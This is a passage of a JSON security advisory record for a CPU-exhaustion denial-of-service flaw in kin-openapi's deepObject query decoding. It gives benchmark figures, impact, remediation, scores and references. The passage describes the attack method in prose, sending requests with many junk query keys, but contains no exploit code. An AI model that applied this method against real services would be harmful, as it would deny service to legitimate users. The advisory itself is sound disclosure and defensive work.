Apple M4 Pro):\n\n| junk keys | ns/op | B/op | allocs/op |\n|----------:|------------:|-------------:|------------:|\n|     1,000 |   1,355,966 |   3,853,606 |     48,114 |\n|     5,000 |   7,833,901 |  18,975,316 |    240,221 |\n|    20,000 |  33,701,124 |  75,748,660 |    960,562 |\n|    40,000 |  63,365,171 | 151,394,478 |  1,920,786 |\n|    80,000 | 117,388,579 | 302,663,170 |  3,841,109 |\n|   100,000 | 147,468,311 | 375,159,565 |  4,801,189 |\n\nThe benchmark quantifies the report along two axes the single-shot PoC only hinted at:\n\n- **CPU scales cleanly linearly, with no self-limiting plateau.** Every metric grows in near-exact proportion to the junk-key count across two orders of magnitude: CPU, bytes and allocations all rise ~100× from 1k to 100k keys. At 100k keys a single request burns ~147 ms of CPU **before any handler runs**, and the cost does not taper off — an attacker gets full linear return on each additional junk byte, with the only ceiling being the request-size limit the server chooses to impose (if any).\n- **The recompilation dominates allocations, not just CPU.** Each junk key both compiles a throwaway `*regexp.Regexp` and allocates its compiled program as garbage: the vulnerable path costs a steady **~48 allocations and ~3.75 KB per junk key** (375 MB and 4.8M allocations at 100k keys). So the same root cause drives both CPU exhaustion and heavy GC/allocator pressure — which is why this mechanism, while distinct from the adjacent memory-exhaustion advisory, also inflates memory traffic.\n\n### Impact\n\nUncontrolled CPU consumption (denial of service). Any service that uses `openapi3filter.ValidateRequest` (directly or via a router) to validate requests against a spec containing at least one `in: query`, `style: deepObject` parameter is affected. An unauthenticated attacker who can reach such an endpoint can send requests with large numbers of junk query keys; each request performs a number of `regexp.MustCompile` calls proportional to the request's query-key count times the number of `deepObject` parameters on the route. Because the work is CPU-bound and executed during validation (before any application handler runs), modest request rates can starve the process of CPU and degrade or deny service to legitimate clients. There is no impact to confidentiality or integrity.\n\n### Remediation\n\nHoist the invariant regexp out of the per-key loop: compile the `^<param>\\[` pattern once per `deepObject` parameter (before iterating the query keys) and reuse the compiled `*regexp.Regexp` for every key — mirroring how the package-level `deepObjectBracketRE` (`req_resp_decoder.go:41`) is already handled. This makes decode cost independent of the junk-key count. Matching semantics are unchanged (the pattern still derives from the spec parameter name via `regexp.QuoteMeta`, so it stays panic-safe for any name), and `*regexp.Regexp` is safe for the reuse.\n\nAs a mitigation before upgrading, front affected endpoints with a limit on request/URL size or query-key count (e.g. at a reverse proxy or middleware), which bounds the number of loop iterations an attacker can force.\n\n### Notes\n\n- **Advisory relationship:** Novel. Adjacent to previously reported memory-exhaustion issue in `deepObject` decoding (via `sliceMapToSlice`), but this is a distinct CPU-exhaustion mechanism — repeated compilation of a loop-invariant regexp, once per attacker-supplied query key — not covered by that earlier memory-focused advisory.",
                    "title": "osvgo - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-h4r5-mxv5-8mjc.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "kin-openapi is a Go project for handling OpenAPI files. From 0.145.0 until 0.146.0, openapi3filter repeatedly calls regexp.MustCompile for the same parameter-name regular expression inside the per-query-key loop in urlValuesDecoder.DecodeObject used to decode a deepObject query parameter. An unauthenticated remote client can send an affected endpoint a request containing many unrelated query keys, causing ValidateRequest to perform work and allocations proportional to the attacker-controlled key count for every deepObject parameter. The expression itself is fixed and this is not regular expression denial of service; the resource consumption comes from loop-invariant recompilation. This issue is fixed in version 0.146.0.",
                    "title": "osvgit - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-100350.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.00451",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "4.5",
                    "title": "NCSC Score"
                },
                {
                    "category": "details",
                    "text": "Severity: 2\n",
                    "title": "Vendor assessment"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-6014972",
                    "CSAFPID-8902830",
                    "CSAFPID-8902831",
                    "CSAFPID-9053231",
                    "CSAFPID-9053232",
                    "CSAFPID-9710183",
                    "CSAFPID-9732351",
                    "CSAFPID-9727427"
                ],
                "known_not_affected": [
                    "CSAFPID-9714347"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - ncscclear",
                    "url": "https://vulnerabilities.ncsc.nl/manual/CVE-2026-100350"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100350"
                },
                {
                    "category": "external",
                    "summary": "Source - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-100350"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-h4r5-mxv5-8mjc"
                },
                {
                    "category": "external",
                    "summary": "Source - debian",
                    "url": "https://security-tracker.debian.org/tracker/CVE-2026-100350"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-100350"
                },
                {
                    "category": "external",
                    "summary": "Source - osvgo",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-h4r5-mxv5-8mjc.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-100350.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Reference - osv",
                    "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/100xxx/CVE-2026-100350.json"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv; osvgo; redhat",
                    "url": "https://github.com/getkin/kin-openapi/commit/d090e36b2f1c42c898ba2a687a8f6e25f5ca727f"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv; osvgo; redhat",
                    "url": "https://github.com/getkin/kin-openapi/releases/tag/v0.146.0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv; osvgo; redhat",
                    "url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-h4r5-mxv5-8mjc"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv; osvgo; redhat",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100350"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-100350"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-h4r5-mxv5-8mjc"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
                        "baseScore": 5.3,
                        "baseSeverity": "MEDIUM"
                    },
                    "products": [
                        "CSAFPID-6014972",
                        "CSAFPID-8902830",
                        "CSAFPID-8902831",
                        "CSAFPID-9053231",
                        "CSAFPID-9053232",
                        "CSAFPID-9710183",
                        "CSAFPID-9727427",
                        "CSAFPID-9732351"
                    ]
                }
            ],
            "title": "CVE-2026-100350"
        }
    ]
}